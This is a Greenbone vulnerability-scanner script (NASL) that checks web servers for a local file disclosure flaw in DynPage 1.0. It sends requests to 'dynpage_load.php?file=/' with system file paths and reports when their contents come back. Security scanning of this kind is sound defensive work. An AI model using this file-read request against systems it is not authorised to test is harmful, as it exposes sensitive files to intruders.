DynPage 'dynpage_load.php' Local File Disclosure Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100790");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2010-09-08 15:41:05 +0200 (Wed, 08 Sep 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("DynPage 'dynpage_load.php' Local File Disclosure Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"DynPage is prone to a local file disclosure vulnerability
  because it fails to sufficiently sanitize user-supplied data.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information from local files on computers running the vulnerable application. This may
  aid in further attacks.");

  script_tag(name:"affected", value:"DynPage 1.0 is vulnerable, other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/43018");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port(default:80);

if( ! http_can_host_php( port:port ) )
  exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/dynpage", "/cms", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  buf = http_get_cache( port:port, item:dir + "/index.php" );
  if( ! buf || buf !~ "^HTTP/1\.[01] 200" || buf !~ "(<title>DynPage V|footer.+>DynPage V|>www\.dynpage\.net<)" )
    continue;

  foreach file( keys( files ) ) {
    url = dir + "/content/dynpage_load.php?file=/" + files[file];

    if( http_vuln_check( port:port, url:url, pattern:file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );